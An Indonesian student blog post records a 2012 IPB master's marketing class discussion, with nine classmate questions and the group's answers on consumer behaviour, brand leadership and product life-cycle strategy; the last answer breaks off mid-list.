Categorized | Uncategorized

Diskusi Tentang Perilaku Konsumen, Pemasaran dan Nilai Pelanggan, serta Pasar dan Permintaan Pasar

Posted on 16 Februari 2012 by nurul47

Nurul Firdausi
Based on lecture by Prof. Dr. Ir. Ujang Sumarwan, M. Sc
Marketing Class R-47
Master of  Management and Business Agricultural University
(Institut Pertanian Bogor-IPB), Indonesia

Marketing Class note:

Pemasaran Strategik

Diskusi yang dilakukan oleh mahasiswa MB-IPB R-47 yang mengenai Perilaku Konsumen, Pemasaran dan Nilai Pelanggan, serta Pasar dan Permintaan pasar. DIskusi ini dipresentasikan oleh kelompok yellow yang terdiri dari

  1. Aprilia Sukmawati                        P056111061.47
  2. Dani Surahman                               P056111101.47                      
  3. Danika Reka Arta                          P056111111.47
  4. Dian Luthfianingtyas                  P056111141.47
  5. Febi Muryanto                                  P056111171.47
  6. Iradati Zahra                                     P056111201.47
  7. Irfan Handrian                                 P056111211.47
  8. Novina Eka Suryaningrum        P056111291.47
  9. Nurul Firdausi                                   P056111311.47
  10. Ririn Aprilia                                        P056111361.47 
Presentasi yang diberikan mengasilkan pertanyaan-pertanyaan yang diberikan oleh 10 mahasiswa MB-IPB R-47 yang terdiri dari:

Pertanyaan Nomor 1 (Sinta Wardani P056111391.47)

sinta47.blogstudent.mb.ipb.ac.id

Pertanyaan:

Dari Ketiga Faktor yang mempengaruhi Perilaku Konsumen manakah faktor yang paling mendominasi dalam mempengaruhi keputusan konsumen dalam mengkonsumsi barang/jasa? Apakah ada perbedaan dalam faktor yang paling dominan dalam setiap negara, apakah negara yang berada di Benua Asia memiliki faktor dominan yang berbeda dengan negara yang berada di Benua Eropa?

Jawaban:

Tidak bisa mengenerasikan untuk semua produk faktor yang mana yang paling berpengaruhi terhadap konsumen karena setiap produk memiliki ciri khas yang sesuai dengan keinginan konsumen. Dimanapun tempatnya akan tetap disesuaikan dengan keinginan konsumennya.

 

Pertanyaan Nomor 2 (Kartika Amalia Silalahi P056111251.47)

kartika47.blogstudent.mb.ipb.ac.id

Pertanyaan:

Bagaimana pendapat kelompok kalian tentang banyaknya fenomena yang terjadi bahwa ada perbedaan pelayanan yang diberikan kepada konsumen dengan strata sosial yang berbeda? Apakah hal itu diperbolehkan terjadi? Misalnya saja pada strata sosial yang lebih tinggi akan mendapatkan pelayanan yang lebih baik

Jawaban:

Perbedaan strata sosial di sisi konsumen tidak mempengaruhi perbedaan pelayanan yang diberikan oleh perusahaan karena saat suatu perusahaan menerapkan pelayanan untuk konsumennya maka perusahaan tersebut akan konsisten memberikan pelayanan yang sama kepada semua pihak tanpa membandingkan tingkat strata sosial dari konsumennya. Kecuali bila untuk strata menengah ke atas ingin membayar lebih maka perusahaan akan memberikan pelayanan yang lebih pula, namun ini bukan sebagai pembanding dalam hal perbadaan layanan.     Perusahaan memberikan pelayanan yang lebih bagi strata menengah keatas karena mereka lebih tidak mempunyai waktu untuk menunggu (misalnya sibuk) ataupun mereka hanya mempunyai waktu disaat-saat tertentu (misalnya pada kasus kelas Eksekutif kuliah di kampus MB-IPB yang hanya mempunyai waktu malam untuk kuliah, maka MB-IPB memberikan makan malam dengan catatan mereka menambah uang pembayaran mereka untuk makan malam tersebut). Contoh bahwa perusahaan tidak membedakan strata sosial adalah pada perusahaan penjualan sepeda motor, Mobil, ataupun bangunan yang menggunakan sistem kredit. Perusahaan tidak membedakan pembeli yang memiliki strata sosial rendah maupun yang tinggi, mereka hanya mengutamakan konsumen yang ingin membayar secara “kredit” walaupun konsumen itu dari segi strata social menengah kebawah ataupun menengah keatas. Perusahaan lebih menerapkan sistem tersebut karena “kredit” yang mereka tawarkan sangat menguntungkan mereka dari segi bunga pembayaran yang konsumen setorkan.

 

Pertanyaan Nomor 3 (Harris Darmawan P056111181.47)

harris47.blogstudent.mb.ipb.ac.id

Pertanyaan:

Untuk mengakselerasikan Market Growth, konsep-konsep apa saja yang dapat diaplikasikan untuk meningkatkan akselerasi Market Growth dalam suatu siklus produk? Berikan contohnya?

Jawaban:

            Tahap pertumbuhan pasar terjadi setelah produk melewati break even point (marketing and sales expenses = gross profit), kondisi ini adalah saat perusahaan harus melakukan pengembangan dan pertumbuhan pasar dengan tepat. Beberapa upaya yang dapat dilakukan adalah:

  1. Fokus pada produk yang sedang dikembangkan. Bagian pemasaran fokus untuk mengembangkan produk tersebut, jangan mengeluarkan produk substitusi dekatnya dalam fase ini.
  2. Lakukan strategi diferensiasi produk dengan baik, baik itu product leadership, service leadership, customer intimacy, ataupun brand leadership.
  3. Perkuat image produk tersebut di mara konsumen, melalui berbagai promosi yang mencakup aspek tangible dan intangible benefit. Hal ini dilakukan untuk memperkuat loyalitas konsumen pada brand.
  4. Gencarkan penetrasi ke pasar potensial untuk meraih market share yang besar.

 

Pertanyaan Nomor 4 (Ana Rosidha Tamyis P056111031.47)

ana47.blogstudent.mb.ipb.ac.id

Pertanyaan:

Perusahaan menciptakan keunggulan differensiansi untuk menarik konsumen agar membeli produk yang dihasilkannya. Keunggulan differensiasi dapat diperoleh melalui salah satu dari dua strategi umum yaitu strategi penawaran lebih (offering more) dan strategi keunggulan operasional yang menawarkan keunggulan biaya total (lower total cost).

Pada dimensi strategi penawaran lebih (offering more) terdapat 4 tipe strategi positioning yaitu: (1). Product leadership/kepemimpinan produk; (2). Service leadership (kepemimpinan layanan); (3). Customer intimacy (kedekatan pelanggan); (4). Brand leadership (kepemimpinan merek). Disisi lain, produk memiliki siklus kehidupan produk mulai dari perkenalan, pertumbuhan awal, pertumbuhan akhir, kematangan sampai penurunan. Pada setiap siklus tersebut terdapat perbedaan permintaan pasar terhadap produk.  Menurut Anda bagaimanakah seharusnya perusahaan menerapkan strategi penawaran lebih pada setiap siklus produk agar permintaan pasar senantiasa stabil atau bahkan meningkat? apakah perusahaan hendaknya konsisten pada 1 tipe strategi untuk setiap semua siklus produk ataukah strategi berbeda harus diterapkan untuk setiap siklus? Mengapa demikian? jelaskan

Jawaban:

Setiap tahapan siklus hidup produk memiliki karakteristik yang berbeda, dimana setiap tahapan siklus memiliki tantangan, peluang dan masalah tersendiri. Berdasarkan perbedaan ini, dibutuhkan suatu strategi pemasaran maupun strategi produksi, keuangan dan pengelolaan sumberdaya manusia yang berbeda untuk setiap tahapannya. Namun begitu, keempat tipe strategi offering more sebenarnya dapat diimplementasikan seluruhnya pada setiap tahapan dengan tetap memprioritaskan tipe strategi tertentu agar tujuan perusahaan yaitu untuk memaksimalkan profit dapat tercapai.

Tahap pengenalan, merupakan tahap yang ditandai dengan pertumbuhan penjualan yang lambat dan laba yang rendah atau bahkan negatif serta rasio pengeluaran untuk promosi sangat tinggi. Tahap ini merupakan tahap rawan pertama yang harus dilalui produk, sebelum perusahaan memutuskan strategi diferensiasi apa yang digunakan, pastikan perusahaan mengetahui keunggulan produk yang diproduksi serta segmen apa yang dituju. Sebagai contoh:

  • Produk dengan teknologi inovasi terbaru sebaiknya gunakan strategi product leadership (kepemimpinan produk). Sebagai produk yang baru saja muncul di pasaran, diperlukan suatu differensiasi untuk dapat menarik pelanggan. Produk baru yang memiliki keunggulan, inovatif dan menghadirkan solusi yang belum dimiliki oleh produk lain biasanya merupakan produk yang mudah diterima oleh konsumen.
  • Produk dengan teknologi yang biasa saja dan sudah memiliki banyak pesaing di pasar, sebaiknya gunakan service leadership. Produk dengan jenis ini harus memberikan image lain pada konsumen lebih dari sekedar fungsional. Starbucks hanya menjual kopi dan bisa dibeli di warung kopi dengan harga murah, namun karena service mereka luar biasa, pelangga tertarik dan setia pada Starbucks.

Jadi tidak semua strategi diferensiasi sesuai dengan setiap produk pada tahap pengenalan ini, harus ada pertimbangan matang dari divisi pemasaran untuk menentukan strategi, dan dilandasi dengan karakteristik produknys.

Tahap pertumbuhan ditandai dengan peningkatan jumlah penjualan yang pesat dan peningkatan laba yang cukup besar yang didapatkan dari tingkat penjualan yang tinggi dan efisiensi biaya produksi. Pada tahap ini, selain product leadership juga dibutuhkan tipe strategi brand leadership (kepemimpinan merek) serta customer intimacy (kedekatan dengan pelanggan). Penggunaan strategi brand leadership dapat meningkatkan brand awareness (kesadaran terhadap adanya merek produk) dan brand association (asosiasi tentang atribut produk, persepsi kualitas dan manfaat fungsional, serta asosiasi simbolik, emosional, harga/nilai, dan situasi penggunaan produk). Kedekatan pelanggan juga sangat penting dalam tahap ini untuk meningkatkan hubungan personalitas pelanggan. Dengan adanya hubungan personal yang baik dengan pelanggan, maka produk yang ditawarkan akan mendapatkan tempat di hati pelanggan. Kedekatan dengan pelanggan juga akan memunculkan trust atau kepercayaan pelanggan atas suatu produk yang ditawarkan. Dengan adanya trust atau kepercayaan pelanggan atas suatu produk, maka loyalitas pelanggan akan meningkat.

Tahap pendewasaan ditandai dengan menurunnya pertumbuhan penjualan produk karena produk telah diterima oleh sebagian besar pembeli potensial. Laba cenderung stabil atau turun karena persaingan yang meningkat. Pada tahap ini, perusahaan perlu menerapkan tipe strategi product leadership melalui perbaikan kualitas, fitur dan menciptakan model baru. Hal ini dilakukan untuk memperluas pangsa pasar maupun menjaga loyalitas pelanggan yang sudah ada dengan memberikan kualitas produk yang lebih prima dan disesuaikan dengan perkembangan jaman. Customer intimacy juga harus terus ditingkatkan untuk tetap menjaga hubungan personal yang baik dengan pelanggan. Pada tahap pendewasaan, service leadership (kepemimpinan layanan) juga merupakan faktor penting dalam strategi offering more. Kepuasan pelanggan terhadap suatu produk seringkali dipengaruhi oleh layanan yang diberikan oleh perusahaan kepada konsumen, misalnya : kecepatan pengiriman, layanan purna jual, bantuan teknis kepada pelanggan dan kemudahan dalam layanan kredit. Usaha untuk meningkatkan kepuasan konsumen melalui layanan prima akan meningkatkan loyalitas terhadap produk yang kita tawarkan.

Tahap penurunan (declining) ditandai dengan penurunan jumlah penjualan dan laba. Beberapa ciri pasar sudah mencapai tahap penurunan permintaan adalah akibat dari beberapa hal, diantaranya:

  1. Pergeseran selera konsumen. Fenomena ini dapat ditanggulangi dengan memunculkan fitur baru dari produk, atau mengingatkan kembali fitur produk kepada konsumen melalui re-launching atau promosi yang menarik, perusahaan dapat meningkatkan awareness pelanggan akan produk yang mungkin sudah terlupakan dan dapat meningkatkan penjualan. Strategi yang tepat untuk menghadapi fenomena pertama adalah product leadership.
  2. Pasar mulai jenuh, produk substitusi dekat beredar dalam jumlah besar di pasar, pemain baru di pasar masuk bertubi-tubi. Keuntungan brand lama yang sudah berdiri lebih dulu adalah image yang sudah tertanam lebih dulu. Strategi brand leadership cocok diterapkan disini. Perusahaan mengingatkan kepada konsumen bahwa brand yang telah lama beredar dapat lebih dipercaya.
  3. Keinginan konsumen untuk switch ke pesaing besar, loyalitas turun, sehingga penjualan produk menurun. Pada kondisi ini gunakan service leadership dan customer intimacy untuk memberikan image pada konsumen bahwa pelayanan dari perusahaan sangat luar biasa, terutama untuk konsumen lama. Diharapkan strategi ini bisa mempertahankan konsumen.

 

 

Pertanyaan Nomor 5 (Annisa Rahma Herdyana P056111051.47)

rahma47.blogstudent.mb.ipb.ac.id

Pertanyaan:

Apa yang membuat sebuah brand terkualifikasi sebagai brand leader dalam industrinya? (misalnya indomie atau Mc. Donald) Apakah dari kualitas produk, brand awareness, atau faktor-faktor lain?

Jawaban:

Suatu produk dapat terkualifikasi sebagai brand leader pada saat produk tersebut memiliki brand awareness yang tinggi dan brand association yang sudah terbentuk. Brand[A1]  leader dapat diartikan apabila pada saat seseorang ditanya mengenai suatu produk tertentu, maka secara spontan mereka menyebutkan nama suatu merek. Merek yang paling banyak disebutkan pertama kali dapat dikatakan sebagai brand leader, atau dapat diartikan sebagai merek utama dari berbagai merek produk sejenis. Brand awareness dapat diartikan sebagai kemampuan konsumen untuk mengingat suatu brand dan menjadikan brand tersebut berbeda jika dibandingkan dengan brand yang lain, sedangkan brand association memiliki tingkatan yang lebih tinggi, dimana brand association dapat diartikan sebagai keterikatan pada suatu merek yang didasarkan atas pengalaman atau tampilan dalam mengkomunikasikan suatu merek.

Hal ini terjadi pada Indomie dan Mc Donald, dimana saat seseorang ditanyakan mengenai produk mie instant, yang berada di benak pelanggan adalah Indomie, bahkan jika mengkomunikasikan mie instant, walaupun berbeda merek yang mereka konsumsi, mereka akan menyebut produk tersebut adalah Indomie. Begitu pula dengan Mc Donald, dimana pada saat anak kita ingin makan fast food (burger atau ayam goreng), mereka akan menyebut Mc Donald, padahal yang mereka tuju adalah brand lain yang menyediakan produk sejenis (KFC, A&W atau CFC).

Faktor-faktor yang mempengaruhi terbentuknya brand leader adalah kemampuan dari manajemen untuk mengaplikasikan marketing mix yaitu : a). Price (harga), dimana produsen menetapkan harga yang terjangkau bagi produknya; b). Place (availability), yang tercermin dari kemudahan untuk memperoleh produk; c). Product (acceptability), tercermin dari penerimaan masyarakat akan produk  yang dihasilkan karena merasa puas dengan solusi yang diberikan oleh produk tersebut (produk dipandang memiliki kualitas yang baik oleh pelanggan); dan d). Promotion, dimana dengan promosi yang menarik dan iklan yang berbeda terkadang bukan hanya dapat menciptakan consumer awareness namun juga consumer association.

Unsur-unsur marketing mix di atas harus digunakan sebagai senjata utama untuk membentuk customer brand image di mata pelanggan. Perpaduan konsep yang tepat antara 4P dan 3P (Extension), tentunya menimbulkan efek luar biasa. Ada beberapa faktor lain yang juga membantu perusahaan menjadi top mind di masyarakat, diantaranya:

  1. Menjadi produk yang muncul pertama kali di pasar. Blackberry sebagai merk mobile phone pertama yang dapat melakukan percakapan gratis melalui blackberry messanger, selalu menjadi top mind masyarakat.
  2. Berdiri lebih lama dibanding perusahaan sejenis. Nyonya Meneer akan selalu terkenang sebagai jamu khas Indonesia karena telah berdiri sejak tahun 1919.
  3. Muncul pada timing yang tepat. Aqua merupakan produk pertama yang memproklamirkan program CSR mereka di televisi. Aqua dengan bangga memberikan bantuan pada rakyat di Sulawesi yang kekurangan air bersih. Hal ini membuat Aqua semakin memperkuat brand awareness-nya.
  4. Gunakan jalan lain untuk masuk ke dalam pikiran konsumen. Permen Mint, produksi PT. Orang Tua, melihat blind spot dari konsumen, dengan menggunakan iklan “Ini pensil, ini permen Mint”. Iklan ini sama sekali tidak mendeskripsikan produk dan sangat crunchy, namun hampir seluruh masyarakat mengenal.

 

Pertanyaan Nomor 6 (Arif Kurniadi P056111071.47)

arif47.blogstudent.mb.ipb.ac.id

Pertanyaan:

  • Perilaku konsumen dipengaruhi salah satunya dari persepsi mereka terhadap barang tersebut. Persepsi barang tersebut dipengaruhi oleh nilai pelanggan yang dianut selama ini dan juga dipengaruhi oleh strategi promosi sehingga menghasilkan segmentasi pasar tertentu. Berdasarkan empirik mana yang lebih dominan dua faktor yang dijelaskan diatas yang mempengaruhi persepsi pelanggan. Kemudian pada saat kapan penggunaan strategi marketing untuk mengubah persepsi pelanggan yang dominan dipengaruhi nilai pelanggan inti selama ini
  • Sesuai dengan data yang disajikan adalah benefit secara ekonomis. Lalu bagaimana pengukuran benefit secara emosional.
  • Tentang siklus pemasaran dalam perusahaan bahwa setelah kurva peak performance, maka perusahaan mengalami declining yang ditandai penurunan kinerja pemasaran, atau mengalami turnaround dalam Sigmund curve (di dalam change management). Strategi apa yang dilakukan oleh perusahaan dalam konteks pemasaran apabila mengalami kondisi tersebut.

Jawaban:

Poin 1

Persenpi konsumen memiliki peranan penting untuk dapat menjual sebuah produk. Produk yang memiliki persepsi baik, maka akan lebih dinikmati oleh konsumen. Kotler dan Amstrong (1997) mendefinisikan bahwa persepsi adalah proses yang dilalui konsumen untuk memilih dan menginterpretasikan informasi guna membentuk gambaran tertentu. Proses ini membuat seseorang memberi makna dalam bentuk pendapat tentang obyek, benda, orang, dan situasi tertentu. Salah satu cara untuk membentuk persepsi di benak konsumen adalah dengan promosi. Gaya promosi berbeda akan membentuk persepsi berbeda.

Nilai pelanggan merefleksikan berbagai manfaat yang dirasakan oleh konsumen baik itu tangible atau intangible, dan merupakan kombinasi dari faktor layanan, kualitas, dan harga. Pembentukan nilai pelanggan dapat dilakukan melalui beberapa pendekatan, yaitu: life cycle cost, price-performance, perceived benefits, emotional benefits, dan transaction cost. Perusahaan akan memperoleh keuntungan secara berkelanjutan bila memiliki keunggulan diferensiasi. Keunggulan diferensiasi adalah perbedaan nilai yang dipersepsikan pelanggan sehingga mempunyai preferensi terhadap perusahaan tertentu dibanding perusahaan lainnya (Sumarwan, 2011).

Jadi jika ingin diperbandingkan mana faktor yang lebih dominan untuk menentukan perilaku konsumen, jawabannya sulit. Nilai pelanggan muncul akibat adanya persepsi dari pelanngan, dan persepsi masuk ke dalam benak pelanggan melalui ajang promosi perusahaan. Promosi merupakan tahapan penting dalam pemasaran untuk menghubungkan konsumen dan produsen. Komunikasi yang terjadi antara produsen dan konsumen ini menjadi kunci untuk membentuk persepsi konsumen terhadap produk.

Penentuan segmentasi konsumen disesuaikan dengan karakteristik produk. Cara paling mudah untuk melakukan segmentasi adalah mempertimbangkan nilai pelanggan yang akan diterima, baik itu aspek tangible benefits atau intangible benefits. Nilai pelanggan sendiri diciptakan dengan menempatkan persepsi konsumen terhadap produk di posisi yang diinginkan dan cara paling sederhana adalah melalui promosi. Sasaran promosi adalah segmen yang ditargetkan, maka cara untuk promosinya juga disesuaikan. Tidak perlu menjual stik golf eksklusif melalui tayangan TV lokal, cukup promosi di turnamen-turnamen golf bergengsi yang diikuti banyak golfer profesional. Iklan TV memang sangat mahal, namun mengurangi image eksklusif produk dari stik golf.

Tidak mudah mengubah persepsi pelanggan terhadap produk tertentu, perlu dilakukan campaign besar dan menyentuh aspek fungsional maupun personal dari konsumen. Perusahaan perlu melakukan perubahan persepsi saat pasar yang selama ini digeluti sudah jenuh, jumlah produsen sangat banyak, produk subtitusi merajalela, dan konsumen mulai tidak loyal. Perubahan persepsi akan langsung mengubah segmen pasar. Kopi Kapal Api selaku market leader sudah melekat sebagai “kopi orang tua”, persepsi masyarakat ini membuat Kapal Api sulit bermain dalam pasar flavor coffee yang mayoritas konsumennya anak muda. Jika Kapal Api ingin mengubah persepsi masyarakat, hanya untuk meraih segmen pasar lain, biaya yang dikeluarkan juga luar biasa besar. Lebih baik keluarkan produk dengan brand lain, namun tetap produksi Kapal Api, dan ciptakan persepsi baru untuk brand tersebut.

Poin 2

Pengukuran benefit diperlukan untuk memperkuat nilai pelanggan. Konsumen yang merasakan benefit produk tinggi, akan senantiasa mengonsumsi produk tertentu. Pengukuran benefit pelanggan lebih mudah dilakukan karena dapat diukur dengan angka pasti, namun benefit emosional memerlukan tatacara khusus untuk mendapatkan nilai pastinya. Benefit emosional sendiri merupakan benefit yang tidak terlihat langsung namun merujuk pada kualitas layanan, perbaikan, keramahan personal layanan, dan reputasi perusahaan. Benefit emosional ini dapat juga dilihat dari aspek psikologis konsumen yaitu hubungan hangat, afiliasi, status, pengakuan, dihormati, kegembiraan, semangat, dan pemenuhan diri (Sumarwan 2011).

Pengukuran benefit emosional yang paling sederhana adalah dengan menggunakan konsep hedonic value dan brand affect. Setiap pernyataan yang dibuat, kemudian diberi nilai sesuai metode Likert, mulai dari sangat tidak setuju sampai sangat setuju. Kalimat-kalimat tersebut adalah:

  • “Saya bangga menggunakan produk ini”
  • “Saya merasa bahagia dan nyaman menggunakan produk ini”
  • “Saya lebih percaya diri jika menggunakan produk ini”
  • “Saya menjadi lebih bersemangat setelah mengonsumsi produk ini”
  • “Saya puas dan akan membeli produk ini kembali”
  • “Saya lebih dihormati dan dihargai jika menggunakan produk ini”

Konsumen cukup memilih nilai yang sesuai dengan pernyataan di atas dalam lima skala Likert, maka benefit emosional dapat terukur dengan baik.

Poin 3

Siklus hidup produk akan terjadi pada jenis produk apapun, terutama normal product dan terjadi pada seluruh perusahaan. Tahap rawan pertama yang harus dilalui adalah tahap pengenalan, dan tahap rawan berikutnya adalah tahap declining. Pada tahap penurunan, jumlah permintaan sudah menurun, dan secara tidak langsung profit perusahaan dari penjualan juga menurun. Perusahaan sebaiknya memutuskan untuk mempertahankan produk atau mengganti produk dengan produk lain yang juga diproduksi dari perusahaan tersebut. Jika perusahaan ingin mempertahankan produknya, beberapa strategi yang bisa dilakukan adalah:

Penurunan bisa terjadi dengan cepat atau lambat, disebabkan oleh kemajuan teknologi, pergeseran selera konsumen, dan banyaknya pemain baru. Arman (2006) mensintesis beberapa strategi untuk bertahan, yaitu:

  1. Meningkatkan investasi perusahaan secara signifikan (besar-besaran) sehingga dapat menjadi market challenger untuk pemimpin pasar. Diharapkan gebrakan besar ini dapat mengembalikan posisi market share dari perusahaan.
  2. Mempertahankan produksi dan investasi dengan membiarkan produk tetap beredar di pasar dengan karakteristik awal, sampai ketidakpastian industri terselesaikan.
  3. Mengurangi investasi secara selektif, upaya ini dilakukan untuk mengurangi beban yang dirasa memberatkan keuangan perusahaan, atau melepas asset untuk menambah modal kerja.
  4. Melepas pelanggan yang tidak menguntungkan, fokus pada konsumen dengan jumlah pembelian tinggi akan sangat membantu mereduksi biaya, daripada mempertahankan semua pelanggan.
  5. Melepas usaha secepat mungkin, dan menjual asetnya agar masih bisa menutupi biaya-biaya perusahaan.

Strategi pemasaran yang berbeda bisa dirumuskan jika merubah sudut pandang dari perusahaan ke produk, langkah yang bisa dilakukan adalah:

  1. Memberikan sentuhan inovasi pada produk sehingga muncul persepsi baru yang akan kembali meningkatkan penjualan.
  2. Memunculkan kegiatan promosi yang besar dan unik, sehingga langsung menggetarkan hati konsumen.
  3. Menciptakan produk baru, dengan fungsi yang sama namun beda brand. Hal ini akan mematikan produk lama, namun dapat mempertahankan eksistensi perusahaan di pasar.

 

Pertanyaan Nomor 7 (Julianto Fransisko P056111231.47)

julianto47.blogstudent.mb.ipb.ac.id

Pertanyaan:

Bisahkah suatu perusahaan  mengubah perilaku konsumen dan bagaimana agar produk yang kita hasilkan laris dijual? Apa sajahkah yang harus dipersiapkan dan diperhatikan?

Jawaban:

Perilaku konsumen didefinisikan sebagai perilaku yang diperlihatkan konsumen dalam mencari, membeli, menggunakan, mengevaluasi, dan menghabiskan produk atau jasa yang diharapkan dapat memuaskan kebutuhan. Perilaku konsumen ditentukan oleh tiga faktor, yaitu: kegiatan pemasaran yang dilakukan perusahaan, faktor perbedaan individu konsumen, dan faktor lingkungan konsumen.

Tidak perlu dipertanyakan lagi tentang kemampuan perusahaan untuk merubah perilaku konsumen, perusahaan selaku produsen produk memang harus bisa bermain-main dengan perilaku konsumen. Perusahaan, terutama bagian pemasaran diharapkan dapat menjadi driver dari perilaku konsumen. Contoh nyata tentang hal ini adalah es krim Magnum produksi Walls. Magnum bukan produk baru, tapi sudah sempat beredar di pasar, namun saat kemunculan pertamanya Magnum tidak dapat menyedot perhatian pasar. Walls sengaja memunculkan Magnum kembali, dengan memberikan image baru untuk Magnum sebagai high class product. Melalui iklan besar-besaran Magnum menyita perhatian banyak pihak, bahkan dicari-cari. Padahal Walls sendiri memang sengaja memproduksi Magnum dalam jumlah terbatas saat itu, Walls sengaja memberikan image di setiap distributornya bahwa Magnum adalah produk yang laris dijual dan selalu habis. Efek dari rumor ini adalah perilaku konsumen yang terus mencari Magnum, bahkan rela membeli Magnum lebih dari satu dan dengan harga yang sangat tinggi. Kecerdasan Walls belum berhenti disitu, saat Magnum berhasil mencapai image yang diinginkan, Walls mengeluarkan Magnum dengan varian baru, agar konsumen dengan mudahnya membeli kembali.

Persiapan yang harus dilakukan untuk mengendalikan perilaku konsumen ini tentunya adalah strategi pemasaran yang tepat, tujuan pemasaran, dan timing pemasaran dimulai, tak lupa dilengkapi dengan dukungan finansial. Perpaduan ketiga hal ini dan disempurnakan dengan marketing budget yang sesuai, pasti akan memberikan harmoni yang indah untuk perusahaan.

 

Pertanyaan Nomor 8 (Mochamad Iskandarsyah P056111281.47)

iskandarsyah47.blogstudent.mb.ipb.ac.id

Pertanyaan:

Dalam perilaku konsumen, produsen terkadang membuat produk yang sesuai dengan perilaku konsumen tersebut (dari budaya ke produk) dan ada pula produsen yang menciptakan suatu produk yang dapat membentuk perilaku konsumen yang baru (dari produk ke budaya).dalam dunia pemasaran,kira-kira mana yang sering terjadi?

Jawaban:

Era pasar yang sangat kompetitif membuat perusahaan harus memikirkan bagaimana produk yang dijual dapat mempengaruhi perilaku konsumen dalam memenuhi kebutuhan dan kepuasan konsumen. Faktor-faktor utama yang mempengaruhi perilaku konsumen adalah (1) kegiatan pemasaran yang dilakukan oleh produsen dan lembaga lainnya, (2) faktor perbedaan individu konsumen, dan (3) faktor lingkungan. Budaya merupakan salah satu unsur dari faktor lingkungan yang dapat mempengaruhi perilaku konsumen. Pengaruh budaya seringkali tampak alami sehingga pengaruhnya terhadap perilaku konsumen dapat diterima begitu saja.

Diagram Budaya-Produk

 Gambar 2 Diagram Budaya-Produk

            Terkait dengan faktor-faktor perilaku konsumen tersebut, seorang marketer lebih baik mempertimbangkan pembuatan produk yang sesuai dengan perilaku konsumen (dari budaya ke produk) daripada menciptakan suatu produk yang dapat membentuk konsumen yang baru (produk ke budaya). Diagram di atas menggambarkan bagaimana hubungan antara budaya konsumen dengan kebutuhannya dan dilihat sebagai pasar potensial. Produk kemudian datang atau produk membentuk budaya baru dalam pasar tersebut. Kembali pada konsep awal munculnya perdagangan, jual beli terjadi karena ada kebutuhan yang tidak terpenuhi. Seluruh kebutuhan yang tidak terpenuhi adalah pasar potensial, ketika pasar sudah ditemukan maka produk akan masuk dengan mudah. Budaya sendiri merupakan kata lain dari faktor lingkungan, sehingga ketika lingkungan konsumen beraktivitas berbeda, maka kebutuhannya juga berbeda.

Seorang marketer akan melihat peluang dari budaya yang ada, lalu berusaha menginterpretasikannya kedalam sebuah produk sesuai dengan keinginan konsumen. Penerapan konsep ini di lapangan diharapkan memberikan efek positif bagi penjualan produk. Contoh dari kedua pendekatan tersebut adalah sebagai berikut:

  1. Budaya ke produk

PT Sido Muncul merupakan salah satu produsen jamu yang telah melakukan bisnisnya sejak tahun 1940. Berawal dari dari kebiasaan masyarakat indonesia yang gemar meminum jamu, PT Sido Muncul mengemas jamu dalam bentuk yang praktis sehingga menjadi produk yang dapat diterima oleh masyarakat

  1. Produk ke budaya

Apple Inc. berusaha menciptakan terobosan baru dalam dunia media elektronik dengan mengeluarkan produk-produk berteknologi tinggi seperti ipad, iphone, dan mac book. Inovasi yang dilakukan oleh Apple Inc.s sebagai sebuah perusahaan besar, berusaha untuk membentuk kebiasaan baru pada masyarakat dunia, dengan harapan terjadi pergesaran budaya dan life style masyarakat dunia saat ini

 

Pertanyaan Nomor 9 (Nur Shabrina P056111301.47)

shabrina47.blogstudent.mb.ipb.ac.id

Pertanyaan:

Menurut pendapat kelompok kuning, apakah Indonesia mampu menjadi tuan rumah di Negara sendiri dalam sektor investasi sedangkan sifat masyarakat Indonesia mempunyai konsumerisme yang tinggi sehingga mengakibatkan tumbuhnya pusat-pusat perbelanjaan di Indonesia. (Terkait dengan Pendapatan Pemerintah yang lebih tinggi di sektor konsumsi sedangkan sektor Investasi (penanam modal domestik) masih kecil)?

Jawaban:

Saat ini, jumlah entrepreneur atau wirausahawan di Indonesia masih rendah jika dibandingkan dengan beberapa negara maju didunia. Penduduk indonesia yang menempati urutan ke-3 terbesar di dunia yaitu sebesar 231,83 juta jiwa penduduk, hanya memiliki 4,6 juta orang atau sekitar 2% orang yang berwirausaha. Jika dibandingkan dengan negara tetangga seperti Singapura, persentase penduduk Singapura yang berwirausaha mencapai 7%, sedangkan China dan Jepang mencapai 10%. Dibelahan bumi lain, Amerika Serikat mempunyai persentase wirausaha sebesar 11,5-12%.

Melihat kondisi entrepreneur Indonesia yang masih rendah, saat ini Indonesia belum mampu menjadi tuan rumah bagi negaranya sendiri terutama untuk merajai sector investasi dan manufaktur. Manajemen sumber daya yang belum tertata dengan baik, membuat Indonesia sebagai “surga dunia” harus pontang-panting mencari bahan baku ke negara luar. Ironisnya barang setengah jadi yang diimpor tersebut ternyata bahan mentahnya dari Indonesia. Lingkaran setan ini membuat harga produk lokal lebih tinggi dibanding produk import, terutama dari China.

Kondisi infrastruktur bangsa yang bersifat “bolak-balik tambal” menambah beban produksi industri, bahkan terkadang biaya yang harus dikeluarkan akbat buruknya infrastruktur ini jauh lebih besar dibanding variable cost untuk produksi produknya saja. Hanya investor dengan kemampuan finansial tinggi yang mampu menghadapi ketidakpastian seperti ini. Budaya indonesia yang masih lebih mencintai produk luar negeri dengan anggapan bahwa produk luar negeri lebih bernilai tinggi dan lebih menimbulkan rasa percaya diri, ikut serta mendorong perilaku konsumen yang kurang mencintai produk dalam negeri.

Investor domestik lebih mempercayakan modal yang dimilikinya untuk diinvestasikan dalam bidang lain, misalnya properti yang dalam beberapa tahun terkahir ini sedang booming karena dapat memberikan keuntungan yang lebih besar dan lebih cepat daripada memproduksi suatu barang. Mereka cenderung berpihak pada bisnis di luar manufaktur karena resikonya lebih kecil, dan ini sangat wajar dilakukan oleh seorang investor.

Jangan pernah melihat Indonesia yang memiliki resiko usaha manufaktur tinggi sebagai sebuah beban, karena Indonesia masih menjadi tempat investasi yang sangat digemari oleh negara lain. Mereka menyukai Indonesia hanya karena satu alasan, jumlah penduduk Indonesia yang sangat tinggi membuat biaya tenaga kerja murah, dan secara langsung mereduksi biaya produksi. Jumlah penduduk yang tinggi juga merupakan keunggulan lain, sebagai big market size Indonesia dilirik sebagai pasar potensial. Bukti nyata pernyataan ini adalah peluncuran Blackberry Bellagio pertama di dunia adalah Indonesia.

Tingginya tingkat konsumsi yang tidak diimbangi dengan tingkat investasi domestik memang merupakan bom waktu tersendiri bagi Indonesia. Perilaku konsumen yang selalu membeli barang secara kredit juga salah satu pemicu meledaknya bom tersebut. Gunakan perspektif berbeda untuk memahami hal ini, jadikan sifat konsumtif bangsa sebagai nilai jual dan peluang bisnis. Persiapkan langkah-langkah untuk meningkatkan investasi domestik, beberapa diantaranya:

